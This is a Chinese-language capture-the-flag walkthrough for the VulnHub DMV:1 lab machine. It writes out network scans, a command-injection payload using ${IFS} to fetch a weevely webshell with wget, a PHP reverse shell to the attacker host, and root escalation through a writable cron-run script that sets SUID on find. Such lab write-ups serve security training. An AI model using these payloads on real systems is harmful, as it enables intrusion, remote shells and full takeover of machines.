DMV:1详情见:https://www.vulnhub.com/entry/dmv-1,462/
靶机环境VirtualBox
,连接VirtualBox Host-Only
网卡,IP为:192.168.56.104
攻击机环境VMware
,桥接模式,桥接至VirtualBox Host-Only
网卡,IP为:192.168.56.177
扫描C段内存活主机
arp-scan -l
or
nmap -sP 192.168.56.1/24
Nmap扫描目标IP,收集信息
nmap -A -Pn -sSV -p- -T5 192.168.56.104
访问http://192.168.56.104/
这是一个Youtube视频在线转换工具
yt_url
处存在命令注入
手测了一下发现过滤了空格,命令执行空格绕过网上有很多方法,自己找,这里使用${IFS}
代替空格
发现wget
命令可以使用
那就可以在本地开启一个http
服务,在上面放一个木马,然后靶机使用wget
进行下载,攻击机连接获得shell
首先用weevely
生成一个木马
weevely generate seanz7 ./shell.php
然后在当前路径开启一个http
服务,这里使用python开启
python -m SimpleHTTPServer 8080
构造命令下载shell
yt_url=1;wget${IFS}http://192.168.56.177:8080/shell.php;
在攻击机上我们也可以看到靶机下载了shell.php
weevely连接
weevely http://192.168.56.104/shell.php seanz7
第一个flag在admin/flag.txt
在tmp/
下有个clean.sh
上pspy
检测进程
pspy: https://github.com/DominicBreuker/pspy/releases
用上传shell.php
同样的方法将pspy64
传到靶机上,但是weevely
的shell无法运行成功pspy64
,无奈使用php弹了一个shell到攻击机上,发现可以运行成功
php -r '$sock=fsockopen("192.168.56.177",7777);exec("/bin/sh -i <&3 >&3 2>&3");'
可以看到root
用户执行了clean.sh
www-data
用户对这个文件有读写
的权限
先看第一种做法:
给find
命令添加s
权限
echo "chmod u+s /usr/bin/find" >> clean.sh
再次查看find
命令的权限,已成功添加s
权限
然后使用find
命令的-exec
选项进行提权
find . -exec /bin/bash -p \;
这里我在使用weevely
的shell的时候使用这条命令无法进行提权,最后还是用了php的反弹shell,弹了个shell给攻击机,然后攻击机上使用这条命令提权成功
得到最终的flag
在/root/root.txt